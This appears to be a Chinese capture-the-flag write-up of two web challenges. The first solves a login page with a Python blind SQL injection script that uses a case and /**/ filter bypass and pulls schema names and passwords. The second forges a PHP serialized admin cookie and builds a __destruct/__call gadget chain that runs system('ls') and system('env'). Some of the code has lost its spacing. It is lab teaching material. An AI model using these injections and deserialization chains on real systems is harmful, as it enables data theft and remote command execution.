ezlogin:
进入之后就是一个简单的登录界面
在用户名输入什么都没有反应
查看网页源代码:
1.想要查询需要post传参,在username的位置
2.上传的参数会进行base64解码 然后翻转
3.上传的内容会检测一些特殊字符进行替换
所以设置payload的时候:
1.首先要进行绕过,经过测试发现是大小写绕过就可以
2.然后对SQL注入查询语句先进行一次翻转 然后再base64加密
3.此外空格也会被检测需要/**/进行绕过,否则会被检测出hacker
测试发现会
当构造测试语句
会发现出现成功的信息,表明查询的信息是正确的
到此可以确定可以利用盲注的信息
但是我们如果一个一个去手测试那是相当麻烦
一开始考虑过用bp,但是因为加密和翻转的限制,利用bp不方便
所以用一个二分法盲注的脚本
importbase64
#请求网络界面就要调用
importrequests
defsql(url):
flag=''
pay="1'/**/or/**/ascii(substr((SELECT/**/group_concat(schema_name)/**/from/**/information_schema.schemata),"\
"{},1))>{}#"
#这里只是两行分开写了,其实在一块,schemata),{},1))>{}#这个中括号的地方传入参数
#pay="1'/**/or/**/ascii(substr((SELECT/**/group_concat(password)/**/from/**/user),"\
#"{},1))>{}#"
foriinrange(33,100):
left=32
right=126
mid=(left+right)//2
whileleft
payload=pay.format(i,mid)#这两个参数分别放到中括号里面
#print(base64.b64encode(payload[::-1].encode()))
data={'username':base64.b64encode(payload[::-1].encode()),'passwd':'1'}
#调用base64的库区加密,[::-1]字符串翻转
r=requests.post(url,data=data)
#向服务器发送post请求
if'success'inr.text:#根据页面返回的信息判断注入成功
left=mid+1
else:
right=mid
mid=(left+right)//2#二分法盲注
flag+=chr(mid)
print(flag)
if__name__=='__main__':
sql('http://c7f7f56d-9295-48e0-9a73-8b1d3474ddfc.ite.hznu.edu.cn/')#给sql传参值为url
#requests.get('http://532b761c-0015-4b4a-a67c-a08e42066576.ite.hznu.edu.cn/')
查询表名发现是user
注意:直接使用database()并且限制好i的查询范围
查询列名:发现可疑的id, username, password
查询字段内容
一定要注意这个i,决定着你数据的显示范围
设置34 到80
到此解题结束,彻底获取flag
php反序列化的一道题:
首先进入页面时空白的界面,去查看网页源代码也是空的
所以去抓包获取信息
发现cookie字段有一段特殊的base64编码
怀疑我们登录的身份有错误,不是admin身份
Base64解密之后得到一段序列化语言
O:4:"User":1:{s:7:"isAdmin";b:0;}
php语言进行反序列化
object(__PHP_Incomplete_Class)#1 (2) { ["__PHP_Incomplete_Class_Name"]=> string(4) "User" ["isAdmin"]=> bool(false) }
来自 <在线序列化(serialise)/反序列化(unserialise)>
发现最后的判断是false 对应0 所以把0改成1然后base64 加密得到新的cookie
O:4:"User":1:{s:7:"isAdmin";b:1;}
Tzo0OiJVc2VyIjoxOntzOjc6ImlzQWRtaW4iO2I6MTt9
然后传入新的cookie里面看到PHP反序列化漏洞
error_reporting(0);
include('utils.php');
class A {
public $className;
public $funcName;
public $args;
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
}
}
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}
来自
进行利用
class A {
public $className = 'B';
public $funcName = 'system';
public $args = 'ls'; //注意虽然是数组但是自动默认识别不需要加中括号
public function __destruct() {
$class = new $this->className;
$funcName = $this->funcName;
$class->$funcName($this->args);
}
}
class B {
public function __call($func, $arg) {
$func($arg[0]);
//相当于执行system('ls');
}
}
$a = new A();
$payload = strrev(serialize($a));
echo(base64_encode($payload));
?>
/*
if(checkUser()) {
highlight_file(__FILE__);
$payload = strrev(base64_decode($_POST['payload']));
unserialize($payload);
}
*/
执行命令ls的时候
fTsic2wiOjI6czsic2dyYSI6NDpzOyJtZXRzeXMiOjY6czsiZW1hTmNudWYiOjg6czsiQiI6MTpzOyJlbWFOc3NhbGMiOjk6c3s6MzoiQSI6MTpP
来自
执行成功,证明可以任意命令执行
发现没有flag,去查看环境变量
system('env');
OK得到